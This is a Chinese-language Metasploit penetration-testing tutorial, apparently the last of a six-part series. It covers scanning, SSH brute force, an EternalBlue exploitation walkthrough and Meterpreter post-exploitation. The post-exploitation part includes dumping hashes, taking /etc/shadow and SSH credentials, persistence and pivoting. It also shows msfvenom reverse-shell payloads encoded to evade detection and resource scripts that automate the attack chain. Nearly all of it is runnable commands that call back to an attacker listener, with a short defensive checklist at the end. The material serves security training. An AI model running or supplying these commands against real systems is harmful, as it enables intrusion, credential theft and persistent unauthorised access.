Metasploit Framework 是全球使用最广泛的渗透测试框架,由 HD Moore 于 2003 年创建,如今由 Rapid7 公司维护。它将渗透测试的各个环节——信息收集、漏洞利用、后渗透、报告生成——整合在一个统一的平台中,极大地提高了渗透测试的效率。本文将从 Metasploit 的架构设计讲起,深入探讨其核心模块、实战利用流程、Meterpreter 会话管理以及自动化攻击技术,带你完整走通一次从扫描到 getshell 的渗透测试流程。
Metasploit 架构概览
Metasploit Framework 采用模块化架构,各组件各司其职:
核心模块类型
| 模块类型 | 说明 | 示例路径 |
|---|---|---|
| Exploit | 漏洞利用模块 | exploit/windows/smb/ms17_010_eternalblue |
| Payload | 攻击载荷(反弹Shell等) | payload/linux/x64/shell_reverse_tcp |
| Auxiliary | 辅助模块(扫描、嗅探等) | auxiliary/scanner/portscan/tcp |
| Post | 后渗透模块 | post/linux/gather/hashdump |
| Encoder | 编码器(绕过检测) | encoder/x86/shikata_ga_nai |
| NOP | NOP 滑板生成器 | nop/x86/opty2 |
| Evasion | 免杀模块 | evasion/windows/windows_defender_exe |
Payload 类型详解
# Payload 分为三大类:
# 1. Singles (单一载荷) — 独立运行,体积小
# 命名格式: <platform>/[arch]/<single>
# 例如: linux/x64/shell_reverse_tcp
# 2. Stagers (传输器) — 建立连接通道,下载 Stage
# 命名格式: 带 '/' 分隔
# 例如: windows/x64/meterpreter/reverse_tcp
# ^stager
# 3. Stages (传输阶段) — 通过 Stager 下载的大型载荷
# 如 Meterpreter、VNC 注入等
# 区分方法:
# shell_reverse_tcp → Single (无 '/' 分隔)
# shell/reverse_tcp → Staged (有 '/' 分隔 stager)
# meterpreter/reverse_tcp → Staged Meterpreter
msfconsole 基本使用
启动与核心命令
# 启动 Metasploit(首次启动需要初始化数据库)
sudo msfdb init
msfconsole
# 检查数据库连接
msf6 > db_status
# 核心导航命令
msf6 > help # 查看所有命令
msf6 > search [keyword] # 搜索模块
msf6 > use [module_path] # 使用模块
msf6 > info # 查看模块详情
msf6 > show options # 查看配置选项
msf6 > set [option] [value] # 设置参数
msf6 > setg [option] [value] # 设置全局参数
msf6 > unset [option] # 取消设置
msf6 > run / exploit # 执行模块
msf6 > back # 返回主界面
msf6 > exit # 退出
# 工作空间管理(隔离不同项目)
msf6 > workspace # 查看当前工作空间
msf6 > workspace -a project1 # 创建新工作空间
msf6 > workspace project1 # 切换工作空间
msf6 > workspace -d project1 # 删除工作空间
模块搜索技巧
# 基本搜索
msf6 > search eternalblue
msf6 > search apache
msf6 > search type:exploit platform:linux
# 高级搜索过滤
msf6 > search type:exploit name:smb
msf6 > search type:auxiliary name:scanner
msf6 > search cve:2021-44228 # 按CVE搜索
msf6 > search platform:linux type:exploit rank:excellent
msf6 > search author:hdm
# 搜索结果字段说明
# Name: 模块名称
# Disclosure Date: 漏洞公开日期
# Rank: 可靠性等级 (excellent > great > good > normal > average > low)
# Check: 是否支持 check 命令(非破坏性检测)
# 在 Exploit-DB 中搜索(离线)
searchsploit eternalblue
searchsploit -m 42315 # 复制 exploit 到当前目录
信息收集模块实战
Metasploit 的 Auxiliary 模块包含大量信息收集功能。
端口扫描
# TCP 端口扫描
msf6 > use auxiliary/scanner/portscan/tcp
msf6 auxiliary(tcp) > set RHOSTS 192.168.1.0/24
msf6 auxiliary(tcp) > set PORTS 1-1000
msf6 auxiliary(tcp) > set THREADS 50
msf6 auxiliary(tcp) > run
# SYN 扫描
msf6 > use auxiliary/scanner/portscan/syn
msf6 auxiliary(syn) > set RHOSTS 192.168.1.100
msf6 auxiliary(syn) > set PORTS 1-65535
msf6 auxiliary(syn) > set THREADS 100
msf6 auxiliary(syn) > run
服务版本探测
# SMB 版本探测
msf6 > use auxiliary/scanner/smb/smb_version
msf6 auxiliary(smb_version) > set RHOSTS 192.168.1.0/24
msf6 auxiliary(smb_version) > run
# SSH 版本探测
msf6 > use auxiliary/scanner/ssh/ssh_version
msf6 auxiliary(ssh_version) > set RHOSTS 192.168.1.0/24
msf6 auxiliary(ssh_version) > run
# FTP 版本探测
msf6 > use auxiliary/scanner/ftp/ftp_version
msf6 auxiliary(ftp_version) > set RHOSTS 192.168.1.0/24
msf6 auxiliary(ftp_version) > run
# HTTP 服务器信息
msf6 > use auxiliary/scanner/http/http_version
msf6 auxiliary(http_version) > set RHOSTS 192.168.1.0/24
msf6 auxiliary(http_version) > run
# 查看数据库中收集到的信息
msf6 > hosts # 查看发现的主机
msf6 > services # 查看发现的服务
msf6 > services -p 445 # 过滤特定端口
msf6 > vulns # 查看发现的漏洞
服务枚举
# SMB 共享枚举
msf6 > use auxiliary/scanner/smb/smb_enumshares
msf6 auxiliary(smb_enumshares) > set RHOSTS 192.168.1.100
msf6 auxiliary(smb_enumshares) > run
# SMB 用户枚举
msf6 > use auxiliary/scanner/smb/smb_enumusers
msf6 auxiliary(smb_enumusers) > set RHOSTS 192.168.1.100
msf6 auxiliary(smb_enumusers) > run
# FTP 匿名登录检测
msf6 > use auxiliary/scanner/ftp/anonymous
msf6 auxiliary(anonymous) > set RHOSTS 192.168.1.0/24
msf6 auxiliary(anonymous) > run
# SNMP 枚举
msf6 > use auxiliary/scanner/snmp/snmp_enum
msf6 auxiliary(snmp_enum) > set RHOSTS 192.168.1.100
msf6 auxiliary(snmp_enum) > run
# HTTP 目录扫描
msf6 > use auxiliary/scanner/http/dir_scanner
msf6 auxiliary(dir_scanner) > set RHOSTS 192.168.1.100
msf6 auxiliary(dir_scanner) > run
漏洞检测
# MS17-010 (EternalBlue) 漏洞检测
msf6 > use auxiliary/scanner/smb/smb_ms17_010
msf6 auxiliary(smb_ms17_010) > set RHOSTS 192.168.1.0/24
msf6 auxiliary(smb_ms17_010) > run
# Shellshock 漏洞检测
msf6 > use auxiliary/scanner/http/apache_mod_cgi_bash_env
msf6 auxiliary(apache_mod_cgi_bash_env) > set RHOSTS 192.168.1.100
msf6 auxiliary(apache_mod_cgi_bash_env) > set TARGETURI /cgi-bin/
msf6 auxiliary(apache_mod_cgi_bash_env) > run
# SSH 暴力破解
msf6 > use auxiliary/scanner/ssh/ssh_login
msf6 auxiliary(ssh_login) > set RHOSTS 192.168.1.100
msf6 auxiliary(ssh_login) > set USERNAME root
msf6 auxiliary(ssh_login) > set PASS_FILE /usr/share/wordlists/rockyou.txt
msf6 auxiliary(ssh_login) > set STOP_ON_SUCCESS true
msf6 auxiliary(ssh_login) > set THREADS 10
msf6 auxiliary(ssh_login) > run
漏洞利用实战 — MS17-010 (EternalBlue) 完整流程
EternalBlue(永恒之蓝)是 2017 年被 Shadow Brokers 泄露的 NSA 漏洞利用工具,利用 Windows SMB 协议漏洞实现远程代码执行。以下是使用 Metasploit 的完整利用过程。
步骤一:目标发现与漏洞确认
# 1. 扫描目标网段,发现开放 445 端口的主机
msf6 > db_nmap -sS -sV -p 445 192.168.1.0/24
# 2. 确认 MS17-010 漏洞
msf6 > use auxiliary/scanner/smb/smb_ms17_010
msf6 auxiliary(smb_ms17_010) > set RHOSTS 192.168.1.100
msf6 auxiliary(smb_ms17_010) > run
# [+] 192.168.1.100:445 - Host is likely VULNERABLE to MS17-010!
步骤二:配置并执行漏洞利用
# 3. 使用 EternalBlue 利用模块
msf6 > use exploit/windows/smb/ms17_010_eternalblue
# 4. 查看模块信息
msf6 exploit(ms17_010_eternalblue) > info
# 5. 查看并配置选项
msf6 exploit(ms17_010_eternalblue) > show options
# 6. 设置目标 IP
msf6 exploit(ms17_010_eternalblue) > set RHOSTS 192.168.1.100
# 7. 设置攻击载荷(Meterpreter)
msf6 exploit(ms17_010_eternalblue) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
# 8. 设置回连地址
msf6 exploit(ms17_010_eternalblue) > set LHOST 192.168.1.50
msf6 exploit(ms17_010_eternalblue) > set LPORT 4444
# 9. 可选:使用 check 命令验证(非破坏性)
msf6 exploit(ms17_010_eternalblue) > check
# 10. 执行攻击
msf6 exploit(ms17_010_eternalblue) > exploit
# [*] Started reverse TCP handler on 192.168.1.50:4444
# [*] Sending exploit packet...
# [*] Sending stage (200774 bytes) to 192.168.1.100
# [*] Meterpreter session 1 opened
# meterpreter >
Linux 目标利用示例(SambaCry)
# 利用 Samba is_known_pipename 漏洞
msf6 > use exploit/linux/samba/is_known_pipename
msf6 exploit(is_known_pipename) > set RHOSTS 192.168.1.100
msf6 exploit(is_known_pipename) > set PAYLOAD linux/x64/shell_reverse_tcp
msf6 exploit(is_known_pipename) > set LHOST 192.168.1.50
msf6 exploit(is_known_pipename) > set TARGET 3
msf6 exploit(is_known_pipename) > exploit
Meterpreter 会话管理与常用命令
Meterpreter 是 Metasploit 最强大的 Payload,运行在内存中,提供丰富的后渗透功能。
基本系统命令
# 系统信息
meterpreter > sysinfo # 系统信息
meterpreter > getuid # 当前用户
meterpreter > getpid # 当前进程ID
meterpreter > ps # 列出进程
meterpreter > shell # 进入系统 shell
meterpreter > exit # 退出 shell 回到 meterpreter
# 文件操作
meterpreter > pwd # 当前目录
meterpreter > ls # 列出文件
meterpreter > cd /tmp # 切换目录
meterpreter > cat /etc/passwd # 读取文件
meterpreter > download /etc/shadow /tmp/shadow # 下载文件
meterpreter > upload /tmp/tool.sh /tmp/ # 上传文件
meterpreter > edit /tmp/file.txt # 编辑文件
meterpreter > mkdir /tmp/test # 创建目录
meterpreter > rm /tmp/test.txt # 删除文件
# 网络信息
meterpreter > ipconfig / ifconfig # 网络接口
meterpreter > netstat # 网络连接
meterpreter > route # 路由表
meterpreter > arp # ARP 表
meterpreter > portfwd add -l 8080 -p 80 -r 10.10.10.20 # 端口转发
权限与提权
# 检查权限
meterpreter > getuid
meterpreter > getsystem # 尝试自动提权
# 使用本地提权模块
meterpreter > background # 将会话放到后台
msf6 > use post/multi/recon/local_exploit_suggester
msf6 post(local_exploit_suggester) > set SESSION 1
msf6 post(local_exploit_suggester) > run
# 根据建议使用具体的提权模块
msf6 > use exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec
msf6 exploit(pwnkit) > set SESSION 1
msf6 exploit(pwnkit) > set LHOST 192.168.1.50
msf6 exploit(pwnkit) > exploit
会话管理
# 后台化当前会话
meterpreter > background
# 或按 Ctrl+Z
# 查看所有会话
msf6 > sessions
msf6 > sessions -l # 列出所有会话
# 进入指定会话
msf6 > sessions -i 1 # 进入会话1
# 在会话上运行单个命令
msf6 > sessions -C "sysinfo" -i 1
# 升级 Shell 到 Meterpreter
msf6 > sessions -u 1 # 将普通 shell 升级为 meterpreter
# 结束会话
msf6 > sessions -k 1 # 终止会话1
msf6 > sessions -K # 终止所有会话
# 多会话管理
msf6 > sessions -l
# Active sessions
# ===============
# Id Type Information Connection
# -- ---- ----------- ----------
# 1 meterpreter x64/linux root @ target1 192.168.1.50:4444 -> 192.168.1.100:41832
# 2 shell x64/linux 192.168.1.50:4445 -> 192.168.1.101:39211
后渗透模块
Metasploit 的 Post 模块提供了丰富的后渗透功能。
信息收集
# 收集系统信息
msf6 > use post/linux/gather/enum_system
msf6 post(enum_system) > set SESSION 1
msf6 post(enum_system) > run
# 收集网络信息
msf6 > use post/linux/gather/enum_network
msf6 post(enum_network) > set SESSION 1
msf6 post(enum_network) > run
# 收集用户和密码哈希
msf6 > use post/linux/gather/hashdump
msf6 post(hashdump) > set SESSION 1
msf6 post(hashdump) > run
# 查找敏感文件
msf6 > use post/multi/gather/find_java_unsigned
msf6 > use post/linux/gather/enum_configs
msf6 post(enum_configs) > set SESSION 1
msf6 post(enum_configs) > run
# 收集 SSH 凭据
msf6 > use post/multi/gather/ssh_creds
msf6 post(ssh_creds) > set SESSION 1
msf6 post(ssh_creds) > run
# 数据库凭据收集
msf6 > use post/linux/gather/enum_psk
msf6 > use post/multi/gather/filezilla_client_cred
提权模块
# 本地提权建议
msf6 > use post/multi/recon/local_exploit_suggester
msf6 post(local_exploit_suggester) > set SESSION 1
msf6 post(local_exploit_suggester) > set SHOWDESCRIPTION true
msf6 post(local_exploit_suggester) > run
# 常见 Linux 提权模块
msf6 > use exploit/linux/local/cve_2022_0847_dirtypipe
msf6 > use exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec
msf6 > use exploit/linux/local/sudo_baron_samedit
msf6 > use exploit/linux/local/overlayfs_priv_esc
持久化模块
# SSH 密钥持久化
msf6 > use post/linux/manage/sshkey_persistence
msf6 post(sshkey_persistence) > set SESSION 1
msf6 post(sshkey_persistence) > set USERNAME root
msf6 post(sshkey_persistence) > run
# Cron 持久化
msf6 > use exploit/linux/local/cron_persistence
msf6 exploit(cron_persistence) > set SESSION 1
msf6 exploit(cron_persistence) > set LHOST 192.168.1.50
msf6 exploit(cron_persistence) > exploit
# 服务持久化
msf6 > use exploit/linux/local/service_persistence
msf6 exploit(service_persistence) > set SESSION 1
msf6 exploit(service_persistence) > set PAYLOAD linux/x64/meterpreter/reverse_tcp
msf6 exploit(service_persistence) > set LHOST 192.168.1.50
msf6 exploit(service_persistence) > exploit
内网路由与跳板
# 添加路由(通过已控主机访问内网)
meterpreter > run autoroute -s 10.10.10.0/24
# 或在 msf 中手动添加
msf6 > route add 10.10.10.0/24 1 # 通过 session 1
# 查看路由表
msf6 > route print
# 设置 SOCKS 代理
msf6 > use auxiliary/server/socks_proxy
msf6 auxiliary(socks_proxy) > set SRVPORT 1080
msf6 auxiliary(socks_proxy) > set VERSION 5
msf6 auxiliary(socks_proxy) > run -j
# 现在可以通过代理扫描内网
# 配置 proxychains 使用 socks5 127.0.0.1 1080
# proxychains nmap -sT -Pn 10.10.10.0/24
# 通过跳板扫描内网
msf6 > use auxiliary/scanner/portscan/tcp
msf6 auxiliary(tcp) > set RHOSTS 10.10.10.0/24
msf6 auxiliary(tcp) > set PORTS 22,80,443,445,3389
msf6 auxiliary(tcp) > set THREADS 20
msf6 auxiliary(tcp) > run
MSFvenom — Payload 生成器
MSFvenom 是 Metasploit 的独立 Payload 生成工具,可以创建各种格式的攻击载荷。
# 查看所有可用 Payload
msfvenom -l payloads
# 查看所有可用编码器
msfvenom -l encoders
# 查看所有输出格式
msfvenom -l formats
# === Linux Payload ===
# Linux 反弹 Shell (ELF)
msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f elf -o shell.elf
# Linux Meterpreter (ELF)
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f elf -o meterpreter.elf
# === Web Payload ===
# PHP 反弹 Shell
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f raw -o shell.php
# Python 反弹 Shell
msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f raw -o shell.py
# JSP 反弹 Shell
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f raw -o shell.jsp
# WAR 包(用于 Tomcat)
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f war -o shell.war
# ASP 反弹 Shell
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f asp -o shell.asp
# === Windows Payload ===
# Windows Meterpreter (EXE)
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f exe -o shell.exe
# Windows Shellcode (用于缓冲区溢出)
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f c
# === 编码绕过 ===
# 使用 shikata_ga_nai 编码(多次迭代)
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -e x86/shikata_ga_nai -i 5 -f elf -o encoded_shell.elf
# 多重编码
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -e x86/shikata_ga_nai -i 3 -e x86/alpha_mixed -i 2 -f exe -o multi_encoded.exe
# 排除坏字符
msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.1.50 LPORT=4444 -b "\x00\x0a\x0d" -f elf -o clean_shell.elf
在目标上执行 Payload
# 攻击机设置监听
msfconsole -q
msf6 > use exploit/multi/handler
msf6 exploit(handler) > set PAYLOAD linux/x64/meterpreter/reverse_tcp
msf6 exploit(handler) > set LHOST 0.0.0.0
msf6 exploit(handler) > set LPORT 4444
msf6 exploit(handler) > exploit -j # -j 后台运行
# 目标机执行 Payload
chmod +x meterpreter.elf
./meterpreter.elf
# 攻击机收到连接
# [*] Meterpreter session 1 opened
msf6 > sessions -i 1
自动化攻击 — Resource Script
Resource Script 是 Metasploit 的自动化脚本,可以将一系列命令保存为脚本文件自动执行。
创建 Resource Script
# 创建扫描脚本 scan.rc
cat > scan.rc << 'EOF'
use auxiliary/scanner/smb/smb_ms17_010
set RHOSTS 192.168.1.0/24
set THREADS 50
run
use auxiliary/scanner/smb/smb_version
set RHOSTS 192.168.1.0/24
set THREADS 50
run
use auxiliary/scanner/ssh/ssh_version
set RHOSTS 192.168.1.0/24
set THREADS 50
run
EOF
# 执行扫描脚本
msfconsole -r scan.rc
自动化利用脚本
# 创建利用脚本 exploit.rc
cat > exploit.rc << 'EOF'
use exploit/windows/smb/ms17_010_eternalblue
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set RHOSTS 192.168.1.100
set LHOST 192.168.1.50
set LPORT 4444
exploit -j -z
# 等待会话建立后自动执行后渗透
use post/multi/recon/local_exploit_suggester
set SESSION 1
run
EOF
# 执行
msfconsole -r exploit.rc
自动化后渗透脚本
# 创建后渗透脚本 post.rc
cat > post.rc << 'EOF'
# 系统信息收集
use post/linux/gather/enum_system
set SESSION 1
run
# 网络信息
use post/linux/gather/enum_network
set SESSION 1
run
# 密码哈希
use post/linux/gather/hashdump
set SESSION 1
run
# 配置文件
use post/linux/gather/enum_configs
set SESSION 1
run
EOF
msfconsole -r post.rc
在 msfconsole 中录制和回放
# 录制操作(保存为 Resource Script)
msf6 > makerc /tmp/my_session.rc
# 在 msfconsole 中加载 Resource Script
msf6 > resource /tmp/my_session.rc
# 启动时加载
msfconsole -r /tmp/my_session.rc
实战综合案例:完整渗透流程
以下是一个完整的渗透测试流程示例:
# ====== 阶段一:信息收集 ======
msfconsole -q
# 初始化工作空间
msf6 > workspace -a pentest_target
msf6 > db_nmap -sS -sV -sC -O -p- -T4 192.168.1.100
# 查看扫描结果
msf6 > hosts
msf6 > services
msf6 > services -p 22,80,445 -u
# ====== 阶段二:漏洞发现 ======
msf6 > use auxiliary/scanner/smb/smb_ms17_010
msf6 auxiliary(smb_ms17_010) > set RHOSTS 192.168.1.100
msf6 auxiliary(smb_ms17_010) > run
msf6 > vulns
# ====== 阶段三:漏洞利用 ======
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(ms17_010_eternalblue) > set RHOSTS 192.168.1.100
msf6 exploit(ms17_010_eternalblue) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 exploit(ms17_010_eternalblue) > set LHOST 192.168.1.50
msf6 exploit(ms17_010_eternalblue) > exploit
# ====== 阶段四:后渗透 ======
meterpreter > sysinfo
meterpreter > getuid
meterpreter > hashdump
meterpreter > run autoroute -s 10.10.10.0/24
# 上传工具
meterpreter > upload /opt/linpeas.sh /tmp/
meterpreter > shell
chmod +x /tmp/linpeas.sh
/tmp/linpeas.sh
# ====== 阶段五:横向移动 ======
meterpreter > background
msf6 > use auxiliary/scanner/portscan/tcp
msf6 auxiliary(tcp) > set RHOSTS 10.10.10.0/24
msf6 auxiliary(tcp) > set PORTS 22,80,445
msf6 auxiliary(tcp) > run
# ====== 阶段六:数据导出 ======
msf6 > hosts -o /tmp/hosts.csv
msf6 > services -o /tmp/services.csv
msf6 > vulns -o /tmp/vulns.csv
msf6 > creds -o /tmp/creds.csv
安全建议与防御措施
- 及时打补丁:Metasploit 利用的多是已知漏洞,及时更新系统和软件可以防御绝大多数攻击
- 网络分段:内网分段隔离,限制横向移动的可能性
- 入侵检测:部署 Snort/Suricata 等 IDS,检测 Metasploit 流量特征
- 端点防护:使用 EDR 工具检测 Meterpreter 等内存注入行为
- 最小开放原则:关闭不必要的服务和端口,减少攻击面
- 深度防御:多层安全控制,即使一层被突破也有其他防线
- 日志监控:集中日志管理,设置告警规则,及时发现异常行为
- 红蓝对抗:定期进行渗透测试和红队演练,持续验证安全防护的有效性
总结
本文完整展示了 Metasploit Framework 从架构设计到实战利用的全过程。我们从 Metasploit 的模块体系讲起,深入学习了 msfconsole 的使用方法、信息收集模块、漏洞利用流程(以 EternalBlue 为例)、Meterpreter 会话管理、后渗透模块、MSFvenom Payload 生成以及 Resource Script 自动化攻击。Metasploit 是渗透测试的”瑞士军刀”,掌握它能够极大提升渗透测试的效率和深度。然而工具只是手段,理解漏洞原理、攻击链逻辑和防御思路才是安全从业者的核心竞争力。本系列渗透测试篇至此告一段落,希望这六篇文章能够帮助你建立起完整的渗透测试知识体系,在合法授权的范围内不断磨练技术、提升能力。